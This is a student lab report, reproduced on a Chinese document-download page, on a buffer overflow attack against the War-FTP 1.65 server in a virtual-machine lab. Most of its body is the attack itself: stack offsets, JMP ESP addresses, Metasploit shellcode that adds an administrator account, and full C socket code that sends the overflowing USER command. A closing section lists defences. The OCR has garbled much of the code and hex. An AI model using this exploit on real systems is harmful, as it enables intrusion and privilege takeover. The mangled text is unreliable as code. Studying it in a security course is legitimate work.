欢迎来到三一办公! | 帮助中心 三一办公31ppt.com(应用文档模板下载平台)
三一办公
全部分类
  • 办公文档>
  • PPT模板>
  • 建筑/施工/环境>
  • 毕业设计>
  • 工程图纸>
  • 教育教学>
  • 素材源码>
  • 生活休闲>
  • 临时分类>
  • ImageVerifierCode 换一换
    首页 三一办公 > 资源分类 > DOCX文档下载  

    基于war-ftp1.65的缓冲区溢出攻击.docx

    • 资源ID:6680122       资源大小:128.61KB        全文页数:9页
    • 资源格式: DOCX        下载积分:5金币
    快捷下载 游客一键下载
    会员登录下载
    三方登录下载: 微信开放平台登录 QQ登录  
    下载资源需要5金币
    邮箱/手机:
    温馨提示:
    用户名和密码都是您填写的邮箱或者手机号,方便查询和重复下载(系统自动生成)
    支付方式: 支付宝    微信支付   
    验证码:   换一换

    加入VIP免费专享
     
    账号:
    密码:
    验证码:   换一换
      忘记密码?
        
    友情提示
    2、PDF文件下载后,可能会被浏览器默认打开,此种情况可以点击浏览器菜单,保存网页到桌面,就可以正常下载了。
    3、本站不支持迅雷下载,请使用电脑自带的IE浏览器,或者360浏览器、谷歌浏览器下载即可。
    4、本站资源下载后的文档和图纸-无水印,预览文档经过压缩,下载后原文更清晰。
    5、试题试卷类文档,如果标题没有明确说明有答案则都视为没有答案,请知晓。

    基于war-ftp1.65的缓冲区溢出攻击.docx

    XX大学实验报告姓名XX学号XX实验组实验时间2023/12/25指导教师XX成绩实验工程名称缓冲区溢出攻击实验实验目的1掌握缓冲区溢出的原理缓冲区指程序运行期间,在内存中分配的一个连续的区域,用于保存包括字符数组在内的各种数据类型。溢出,指所填充的数据超出了原有的缓冲区边界,并非法占据了另一段内存区域。缓冲区溢出,即由于填充数据越界而导致原有流程的改变,攻击者借此精心构造填充数据,让程序转而执行特殊的代码,最终获取控制权。2掌握常用的缓冲区溢出方法缓冲区溢出攻击的目的在于取得程序的控制权,为此,攻击者必须到达如下的两个目标:在程序的地址空间里安排适当的代码:通过适当的初始化存放器和内存,让程序跳转到入侵者安排的地址空间执行。根据这两个目标来对缓冲区溢出攻击进行分类,缓冲区溢出攻击分为代码安排和控制程序执行流程两种方法;在程序的地址空间里安排适当的代码的方法:控制程序转移到攻击代码的方法。3理解缓冲区溢出的危害性缓冲区溢出的危害性具有破坏性与隐蔽性的特点:破坏性表达在易使效劳程序停止运行,效劳器死机甚至删除效劳器上的数据或者可以执入并运行攻击代码。隐蔽性表达在软件漏洞难以防止,缓冲攻击的SheIlCode的执行不易被发觉,攻击的随机性及不可预测性。4掌握防范和防止缓冲区溢出攻击的方法通过操作系统使得缓冲区不可执行,从而阻止攻击者植入攻击代码;强制编写正确的代码;利用编译器的边界检查来实现缓冲区的保护;间接的方法是在程序指针失效前进行完整性检查等。实验环境windows10(缓冲区溢出攻击端),windowsxpHome(缓冲区溢出被攻击端)编程工具:CodebIOCkS(用于发送exploit代码),exlipse(用来写测试代码字符和转换代码字符)缓冲区漏洞软件:war-ftp1.65系统程序调试工具:OIIydbg网络环境:使用Vmare承载WindoWsxp,windowlO与XP在同一网段下,可以进行相互通信学院:计算机科学与技术专业:软件工程班级:XX实 验 内 容实挈;数 据当输入用户名的长度超过了 485个字符时,系统崩溃: (崩溃时):直接处于卡死状态1 .分析WaLftPvl.65的基于用户名的缓冲溢出漏洞实践课件上己指出:向效劳器发送超过480字节的用户名可以触发漏洞(即使用命令USER1ongStringrn),溢出之后,ESP中的内容包含了IongString中的局部内容。需要对其进行验证分析。2 .分析War-ftpvl.65的堆栈结构即分析堆栈中的EIP、ESP、EBP等的精确位置。3 .构造针对War-ftpvl.65的exploit根据上述的分析结果,参照实践课件的例子,从网上(主要是metasploit)获取ShelICOde,构造exploit。1验证War-ftpV1.65基于用户名的缓冲溢出漏洞在WindowsXP中使用OIldbg装载war-ftp1.65.degugrun.允许匿名登录:在物理主机使用Cuteftp登录,用户名使用依次增加的“AAA",当用户名长度超过480时,war-ftp1.65出现异常甚至崩溃退出。(正常情况):此时的E1P,EBP,ESP如下列图所示:gstri*u,«<,EQxECXEDXEBXESPEBPESIEDIEIPC0P1R120S0T0D000EFLSTSTlST2ST3ST4STSST6ST700000001000000010000000000B0000REFDS8ASCIIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0QEFD80SCIl"AQAAAAAAAAAAAAAAAAAAAAAqAAAAAQHAi7C80932Ekerne132GetTickCount。0AEFES8ASCIIAAAAAAAAAAAAAAQAAAAAAAAAAAAARA41414141ES。02332bit(FFFFFFFF)CS01B32bit(FFFFFFFF)SS002332bit0(FFFFFFFF)DS02332bit(FFFFFFFF)FS03B32bit7FFDE00(FFF)GS00NULL1.astErrERROR_SUCCESS(00000000)0001216(No,NB,NE,A,NS,PE,GE,G)62ty-?FFFF00FFFFFF00FFFFFFempty-?FFFF0O00000000enpty-?FFFF0000FEOFE00FEenpty-?FFFF0000FE0FE00FEempty-?FFFFFFFFFFOFFFFFFenpty1.0000000000000O000empty1.00000000000000000eMQty1.000000000000000003210ESP0ZDIFSTFCW400Cond100Err00000000(EQ)27FPrec任喇53HaSkIlllll以上证据表示,War-ftp确实存在登录的缓冲区漏洞。2分析War-ftp1.65的堆栈结构由于堆栈Ret里的地址被赋给EIP,CPU继续执行EIP所指向的命令,即EIP存放器的内容表示将要执行的下一条指令地址,所以需要定位RET的精确位置。为了把ShellCode放入预期的EIP指向的ESP或EBP,还需要定位ESP、EBP的精确位置。使用java程序生成长度为1000的不重复的字符串。publicstaticStringgenarateString(intlen)Stringstring=M0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHI3KLMNOPQRSTUVWXYZM;StringBuffersb=newStringBuffer();Randomrandom=newRandom();for(inti=0;i<len;i+)sb.append(string.charAt(random.nextInt(string.length();returnsb.toString();|HXC×DXB×SPBP/ Eeeeeeee00000001 00000001 00000000 00000000 0REFD58 00REFDB8 7C80932E 00REFE58随后将生成的字符串使用cuteftp发送到被攻击主机,得到关于EIP,EBP,ESP的偏移位置如下:ASCIIMqFjuV7CuhVHM1PF4zzUU1H6CJ8QWCG02V41CASCII'NUofdiurGbNqthfCZV5AAItOGLXJTfkerne132.GetTIckCountASCIIM6ZniolUqGHInGKzJjIpyrZaBUL3JejPOPyES002332b it0(FFFFFFFF)CSOOlB32b it0(FFFFFFFF)SS002332b it0(FFFFFFFF)DS0。2332b it(FFFFFFFF)FS003B32b it7FFDE00(FFF)GS凸代NULLLaSt 热ERRoR-SUCCESS (000000)0010216 (NO,NB,NE,A,NS,IPE,GEG)empty-28FFFF00700070007070empty-9½FFFF00F000F000F0F0empty-7FFFF0000003800480065enpty-÷FFFF00000078009BD9empty-3/FFFF0F7FA3E68F92ACE9enpty1.00000000006rpty1.0000000000000000800erpty1.000000000000003 2 10IESPUOZDI4000Cond1 0 eI 0 Err i0 0 0 0 0 000027FPrecNEAR.53 MaskIllli1(EQ)81234567 Tw Tttttttt S CSsssssss FfEIP:0x540x360x370x48对应与H76T在登录用户字符串的485个位置开始ESP:qFju在登录用户字符串的493个位置开始EBP:NUof在登录用户字符串的581个位置开始结果说明,EIP指向第485位置(从0开始计数),ESP指向第493位置,EBP指向第581位置。从而可以得到war-ftp1.65的堆栈结构图如下:嘱免”一4byte RET ,SgeI jSSbuesESP.EBPdEsP倩生量 为 493hyt+EBPfiVft. 为 Stlbyt,产生随机不重复字符串生成代码和16进制转换代码:safe;importjava.util.Random;*Helloworld!publicclassApppublicstaticvoidmain(Stringargs)/for(inti=0;i<490;i+)/System.out.print(八);/System.out.println();/System.out.println(genarateString(l000);asc(newint0x54,0x36,0x37,0x48);publicstaticStringgenaratcString(intlcn)Stringstring=M0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYStringBuffersb=newStringBufTerO;Randomrandom=newRandom();for(inti=0;i<lcn;i+)sb.append(sting.charAt(random.nextlnt(string.length();returnsb.toString();publicstaticvoidasc(intarg)System.out.println();System.out.print(char)ag3);System.out.print(char)arg2);System.out.print(char)arg1);System.out.print(char)arg0);3 获取shellcode通过搜索引擎搜索获得了一个添加用户并改变权限的code/shelIcode,添加用户名为Zane,密码为enaz的管理员用户:netuserzaneenaz/add*Win32adduser-PASS=enazEXITFl1NC=processUSER=ZaneSize=476Encoder=Alpha2:/metasploit/unsignedcharscode=Mxebx03x59xebx05xe8xf8xffxffxffx49x49x49x49x49x49r,x49x49x49x49x49x49x49x49x37x49x49x49x51x5ax6ax4a*“x58x30x42x30x50x4Ix6bx4lx4Ix5ax42x32x4Ix42x32x42“x4lx41x30x42x41x58x50x38x4Ix42x75x7ax49x79x6cx69"ttx78x51x54x57x70x43x30x63x30x4cx4bx67x35x45x6cx6e*wx6bx71x6cx66x65x43x48x55x51x5ax4fx4ex6bx70x4fx42r,x38x4cx4bx43x6fx51x30x56x61x78x6bx30x49x4cx4bx76r,"x54x4cx4bx65x51x7ax4ex66x51x6bx70x5ax39x6ex4cx4d"wx54x4fx30x73x44x56x67x68x41x5ax6ax66x6dx44x41x6a*“x62x58x6bx48x74x65x6bx72x74x31x34x77x74x74x35x79"x75x6cx4bx73x6fx67x54x64x41x7ax4bx62x46x6ex6bx64"wx4cx30x4bx6ex6bx33x6fx75x4cx37x71x48x6bx6ex6bx57wxcx4cx4bx77x71x58x6bx4cx49x61x4cx56x44x47x74x69f,ux53x70x31x4bx70x45x34x4cx4bx31x50x64x70x6fx75x49"x50x52x58x36x6cx4cx4bx43x70x64x4cx4ex6bx74x30x45"ttx4cx4cx6dx4ex6bx63x58x33x38x6ax4bx47x79x4cx4bx4d*“x50x68x30x37x70x73x30x53x30x6ex6bx35x38x55x6cx53"ux6fx47x41x6ax56x73x50x52x76x4bx39x7ax58x4fx73x6b*“x70x63x4bx76x30x42x48x31x6ex78x58x78x62x62x53x62"ttx48x7ax38x4bx4ex4fx7ax66x6ex30x57x69x6fx38x67x61"°x73x50x6dx55x34x66x4ex33x55x73x48x35x35x61x30x54"ux6fx45x33x31x30x50x6ex72x45x50x74x65x70x30x75x41r/“x63x70x65x73x42x37x50x5Ix6ax62x4Ix62x4ex72x45x71"wx30x71x75x70x6ex50x61x72x5ax37x50x46x4fx43x71x7,wx54x43x74x41x30x36x46x51x36x55x70x70x6ex43x55x70w"x74x55x70x30x6cx72x4fx32x43x35x31x50x6cx70x67x64""x32x72x4fx54x35x42x50x35x70x32x61x71x74x42x4dx62"wx49x30x6ex55x39x33x43x73x44x71x62x51x71x72x54x50w“x6fx54x32x31x63x45x70x71x6ax42x4Ix62x4ex4Ix75x55"“×70x46x4fx30x4lx30x44x30x44x43x30x4a*;4 构造exploit这里的重点之一是寻找组成注入向量的跳转地址:如果选择ESP为跳转的存放器,那么需要JMPESP的指令地址,使用failwest在软件漏洞分析入门_6_初级ShelICOde一定位缓冲区提出的代码,在中文Windows系统核心dll中查找,找至IXPuser32.dll的JMPESP:0x77d7c5fb,XPkernel32.dll的JMPESP:0x7c834d7b,此外可以使用中文WIN2K/XP/2OO3下通用的JMPESP:0x7ffa4512;如果选择EBP为跳转的存放器,那么需要JMPEBP的指令地址,这可以使用中文WlN2K/XP/2OO3下通用的JMPEBP:0x7ffa4967°重点之二是构造攻击代码:为了防止在执行SheIICOde之前程序乱跳,所以使用NOP0X90指令来进行预防,只要SheIICode位置对,最终-定能够执行ShenoCOdeUSER485l>ieNOP*JMF£SK4r*oMS4E“0Psbelk>C5*力493gqESPttlZIEk,我在此使用了跳转到ESP执行shellcode,构建的exploit字符串如上图所示。以命令USER紧跟个空格开头,后接485个NOP空转指令,紧接着的4个字节用JMPESP地址如uxl2x45xfax7来填充(这是因为x86系统是IittIC-endian方式),之后4字节维续用NOP填充,然后从第498字节开始把shellcode复制过去,最后以rn表示FTPUSER命令结束。攻击时,发生缓冲溢出,CPU根据EIP的地址跳转到堆栈第493字节开始的ESP执行shellcode<35编程实现根据用户的选择,构造溢出字符串(即构造后接ShCIkrode的USER命令:USERexploitcodern);根据用户提供的数据,使用SoCke3使用ConnCCt连接目标主机;向目标主机发送溢出字符串(Send);关闭连接。实验源码:#include<stdio.h>#include<winsock.h>#include<string.h>charexploit2000;charstr1000;constcharjum-esp=,x12x45xfax7f,;charcc=',AAAA;charScode="xebx03x59xebx05xe8xf8xffxffxffx49x49x49x49x49x49"x49x49x49x49x49x49x49x49x37x49x49x49x51x5ax6ax4a',x58x30x42x30x50x41x6bx41x41x5ax42x32x41x42x32x42""x4lx41x30x42x41x58x5Ox38x41x42x75x7ax49x79x6cx69""x78x51x54x57x70x43x30x63x30x4cx4bx67x35x45x6cx6e,'x6bx71x6cx66x65x43x48x55x5Ix5ax4fx4ex6bx7x4fx42u',x38x4cx4bx43x6x51x30x56x61x78x6bx30x49x4cx4bx76'1"x54x4cx4bx65x5Ix7ax4ex66x5Ix6bx7x5ax39x6ex4cx4d""x54x4fx30x73x44x56x67x68x41x5ax6ax66x(ix44x41x6a,'x62x58x6bx48x74x65x6bx72x74x31x34x77x74x74x35x79,"x75x6cx4bx73x6x67x54x64x41x7ax4bx62x46x6ex6bx64"x4cx30x4bx6ex6bx33x6fx75x4cx37x71x48x6bx6ex6bx57u"x6cx4cx4bx77x71Vx58x6bx4cx49x61x4cx56x44x47x74x69""x53x70x31x4bx70x45x34x4cx4bx31x50x64x70x6x75x49",'x50x52x58x36x6cx4cx4bx43x70x64x4cx4ex6bx74x30x45""x4cx4cx6dx4ex6bx63x58x33x38x6ax4bx47x79x4cx4bx4d""x5Ox68x3Ox37x7Ox73x3Ox53x3Ox6ex6bx35x38x55x6cx53,'"x6fx47x41x6ax56x73x5Ox52x76x4bx39x7ax58x4fx73x6b,'x70x63x4bx76x30x42x48x31x6ex78x58x78x62x62x53x62""x48x7ax38x4bx4ex4x7ax66x6ex30x57x69x6fx38x67x6,"x73x5Ox6dx55x34x66x4ex33x55x73x48x35x35x61x30x54""x6fx45x33x31x30x50x6ex72x45x50x74x65x70x30x75x4,"x63x7Ox65x73x42x37x5Ox51x6ax62x41x62x4ex72x45x71""x3Ox71x75x7Ox6ex5Ox61x72x5ax37x5Ox46x4fx43x71x7,"x54x43x74x41x3Ox36x46x51x36x55x7Ox7Ox6ex43x55x7O""x74x55x7Ox3Ox6cx72x4ix32x43x35x31x50x6cx70x67x64u,'x32x72x4fx54x35x42x5Ox35x7Ox32x61x71x74x42x4dx62n"x49x3Ox6ex55x39x33x43x73x44x71x62x51x71x72x54x5O""x6fx54x32x31x63x45x70x71x6ax42x41x62x4ex41x75x55”"x70x46x4fx30x41x30x44x30x44x43x30x4aM;voidgenarate()strcat(exploit,USER");/0-4for(inti=5;i<490;i+)Iexploiti=x90,;添加jump_espstrcat(exploitJum_esp);/5-489490-493Strcat(exploit,x90x90x90x90u);添加shellcodestrcat(exploit,scode);Strcat(exploitJrnO");Iintmain(intargc,char*argv)/生成shellcodegenarate();printf("%snH,exploit);准备建立socket连接WSADATAwsaData;WORDWVersionRequested;interr,n;charbuff512;wVersionRequested=MAKEWORD(2,2);err=WSAStartup(wVersionRcquested,&wsaData);if(err!=0)returnO;SOCKETclientSock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);Sockaddrjnaddress;address.sin_addr.S_un.S_addr=inct_add(,192.168.139.140);address.sin_family=AF_INET;address.sin_port=htons(21);Printf(”开始连接!n");if(connect(clicntSock,(SOCKADDR*)&address,sizeof(address)=SOCKET_ERROR)Printf("连接失败n");return-1;recv(clientSock,str,1000,0);Printf("%sn",str);Printf(”发送exploit!n);scnd(clicntSock,exploit,strlen(exploit),0);Printf("发送长度:dn",Strlcn(Cxploit);recv(clientSock,str,1000,0);closesockct(clicntSock);WSACleanupO;return0;I实验结果:通过缓冲区溢出实验,成功在WindoWXP下建立r一个Zena的用户,并设置为管理员Ovner'ZaaeV计算机管理员J计菖机管理员gQF密码保护Gnest来宾帐户没有JB用实总结1针对缓冲溢出的防御方法从代码编写的角度来说,对于缓冲区的操作要进行严格的边界检查,这可借助-些工具如编译器来实现,像这次实践的war-ftp1.65就应该对用户名数组边界进行检测;从运行状态来看,可进行动态保护,主要是数组边界检查和保证返回指针的完整性;从开发语言来看可使用类型-平安的编程语言如Java;此外还可以从系统的角度阻止攻击代码的执行,例如非执行的缓冲区技术。对于操作系统而言,WindOWS从XPSP2引入的DEP(DataEXeCUtionPreVentiOn)即"数据执行保护",直延续到此后的WindOWSServer2003、WindowsServer2023中,后者的AddreSSSpaceLoadRandomization让缓冲区溢出攻击变得非常困难,在WindoWS7中,DEP默认是激活的。2.实践中遇到的问题实践中遇到的问题不少,在逐个解决问题的过程中体验到了成功的喜悦,并逐步加深了对相关技术的理解。1)虚拟机之间不能相互通信确保虚拟机和宿主机在同一个网段上,且关闭了防火墙。2)如何查找JMPESP,JMPEBP地址实践例程提供了Win2K/XP/2003的通用JMPESP地址:0x7ffa4512,网上还提供了使用WindOWS2kxp2003的通用的JMPEBP:0x7ffa4967地址。如何查找到具体版本的核心dll中的JMPESP地址,这可用OllyDBG的OllyUni插件或MetasploitFramework中的相关插件完成,也可以根据JMPESP的机器码0xFFE4编程载入相关的*.dll来查找。3)是否只能用JMPESP开始以为跳转的存放器只能用ESP,后来发现也可以使用EBP,只要在RET中指定相应的地址,EBP及之后的空间足够用于存储ShellCOde。4)不能返回被攻击的远程主机SheIl即在运行攻击命令后,本地主机自动获得远程主机的Shel1。这个问题尚未解决。这可能与这样的ShenCode较长导致字符数组长度超过WaLftP1.65缓冲总大小有关,也可能是与socket编程有关。指教师意见签名:年月日注:请在实验报告后附程序清单

    注意事项

    本文(基于war-ftp1.65的缓冲区溢出攻击.docx)为本站会员(李司机)主动上传,三一办公仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。 若此文所含内容侵犯了您的版权或隐私,请立即通知三一办公(点击联系客服),我们立即给予删除!

    温馨提示:如果因为网速或其他原因下载失败请重新下载,重复下载不扣分。




    备案号:宁ICP备20000045号-2

    经营许可证:宁B2-20210002

    宁公网安备 64010402000987号

    三一办公
    收起
    展开